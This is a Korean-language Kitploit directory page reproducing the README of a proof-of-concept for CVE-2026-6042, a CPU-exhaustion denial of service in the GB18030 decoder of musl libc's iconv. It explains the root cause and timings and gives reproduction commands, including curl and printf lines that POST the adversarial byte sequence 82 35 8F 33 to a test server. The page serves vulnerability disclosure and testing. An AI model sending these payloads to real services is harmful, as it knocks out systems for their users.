Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-6042-PoC — musl libc 0.8.0-1.2.6에서 CVE-2026-6042로 지정된 알고리즘 복잡성 DoS의 개념 증명 및 종단 간 테스트 | Kitploit
도구/GitHubGitHub/jensnesten/cve-2026-6042-poc
Vulnerability AnalysisExploitationWeb SecurityFuzzing
GitHubjensnesten/cve-2026-6042-poc

CVE-2026-6042-PoC

musl libc 0.8.0-1.2.6에서 CVE-2026-6042로 지정된 알고리즘 복잡성 DoS의 개념 증명 및 종단 간 테스트

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-6042: musl libc iconv의 알고리즘 복잡성 DoS

musl의 iconv GB18030 4바이트 디코더의 갭 건너뛰기 루프로 인해, 작은 조작된 입력이 과도한 CPU 시간을 소비할 수 있습니다. 40KB의 적대적 페이로드가 CPU 코어 하나를 40분 이상 점유할 수 있습니다.

  • 권고: https://www.openwall.com/lists/oss-security/2026/04/09/19
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-6042

권고문의 내용과 달리, 이 익스플로잇의 공격 벡터는 분명히 로컬이 아닌 네트워크입니다. 이는 VulDB가 자신들이 지정한 취약점을 실제로 이해하지 못하고 있기 때문입니다.

CVSS 3.1 벡터: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (높음)

개요

필드세부 사항
영향을 받는 소프트웨어musl libc (iconv 구현)
영향을 받는 인코딩GB18030 (4바이트 시퀀스)
유형알고리즘 복잡성 / 서비스 거부
확인된 버전musl 1.2.5 (Alpine 3.21), musl 1.2.6 (소스에서 빌드)
영향 가능성이 높은 버전GB18030 및 UHC/CP949 지원이 도입된 이후의 모든 musl 버전
공격 표면이러한 인코딩으로 신뢰할 수 없는 입력에 대해 iconv()를 호출하는 모든 musl 기반 서비스

근본 원인

musl의 GB18030 4바이트 디코더(src/locale/iconv.c, 대략 434-442행)는 4바이트 입력 시퀀스를 선형 인덱스로 변환한 다음, 갭 건너뛰기 루프를 통해 해당 인덱스를 유니코드 코드포인트에 매핑합니다. 디코딩된 각 문자에 대해 내부 루프는 전체 gb18030[126][190] 테이블(23,940개 항목)을 반복하여 슬라이딩 범위 내에 속하는 2바이트 매핑 코드포인트의 수를 계산합니다.

바이트 시퀀스 82 35 8F 33은 19,171의 선형 인덱스를 생성하며, 이는 밀집된 CJK 통합 한자 범위(U+4E00-U+9FBD, 약 20,902개 항목) 바로 아래에 위치합니다. 갭 건너뛰기 루프는 전체 밀집 블록을 항목별로 추적해야 하며, 약 20,905회의 외부 반복을 실행하고 각 반복에서 23,940개 테이블 항목을 모두 스캔합니다. 이는 입력 문자당 약 5억 회의 비교에 해당합니다.

비용은 입력의 적대적 문자 수에 따라 선형적으로 증가하고, 각 문자는 독립적으로 전체 내부 루프를 트리거하므로 총 작업량은 O(n * k^2)입니다. 여기서 n은 입력 문자 수, k는 조회 테이블의 크기입니다.

영향

사용자 제공 입력의 GB18030 또는 EUC-KR을 iconv()를 통해 트랜스코딩하는 서비스를 실행하는 모든 musl 기반 시스템(Alpine Linux, Void Linux, postmarketOS, 임베디드/컨테이너 이미지 등)은 서비스 거부에 취약합니다.

단일 코어에서의 예상 시간(Alpine 3.21 / musl 1.2.5에서 측정):

입력시간
적대적 문자 1개 (4바이트)약 0.26초
100자 (400바이트)약 26초
1,000자 (4KB)약 4.3분
10,000자 (40KB)약 43분

비교를 위해, 정상적인 GB18030 문자 100개는 마이크로초 단위로 디코딩됩니다.

저장소 내용

파일설명
poc_gb18030_dos.c독립형 PoC: iconv()를 통한 정상 vs. 적대적 GB18030 디코딩 시간 측정
server.cPOST 본문을 iconv()로 트랜스코딩하는 최소 HTTP 서버, 실제 공격 표면 시뮬레이션
Dockerfile취약한 서버를 빌드하고 실행하는 Alpine Linux 컨테이너 이미지
test.sh종단 간 테스트 스크립트: 서버에 정상 및 적대적 페이로드를 전송하고 응답 시간 비교

재현

1. 독립형 PoC (직접 iconv 타이밍)

musl 기반 시스템에서 빌드 및 실행:

root@kitploit:~
# Alpine Linux에서
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos

또는 Docker를 통해:

root@kitploit:~
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
  sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"

예상 출력: 정상 문자는 마이크로초 단위로 디코딩되고, 적대적 문자 하나(82 35 8F 33)는 약 0.26초가 소요됩니다.

2. 종단 간 (Docker의 HTTP 서버)

취약한 서버 빌드 및 시작:

root@kitploit:~
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042

다른 터미널에서 테스트 하네스 실행:

root@kitploit:~
./test.sh

또는 페이로드를 수동으로 전송:

root@kitploit:~
# 정상: 100자, 즉시 반환되어야 함
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
     --data-binary @/tmp/benign.bin http://localhost:8080/

# 적대적: 5자만으로도 1초 이상 소요
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
     --data-binary @/tmp/adversarial.bin http://localhost:8080/

X-Transcode-Time 응답 헤더는 iconv() 내부에서 소요된 시간을 보고합니다.

종단 간 데모

아래 스크린샷은 Docker 서버에 대한 적대적 입력의 선형 확장을 보여줍니다: 20자(80바이트)는 약 5.2초, 80자(320바이트)는 약 20.8초, 160자(640바이트)는 약 41.5초가 소요됩니다.

종단 간 DoS 데모

주요 바이트 시퀀스

시퀀스선형 인덱스동작
81 30 81 30 (정상)128낮은 코드포인트; 갭 건너뛰기 루프가 빠르게 종료
82 35 8F 33 (적대적)19,171밀집된 CJK 블록 바로 아래에 위치; 약 5억 회 비교 트리거
82 35 90 30 (적대적)약 19,200동일 영역, 유사한 비용

면책 조항

이 저장소는 보안 연구 및 책임 있는 공개 목적으로 게시되었습니다. 코드는 CVE-2026-6042를 재현하고 검증하기 위해서만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 사용하지 마십시오.

도구 다운로드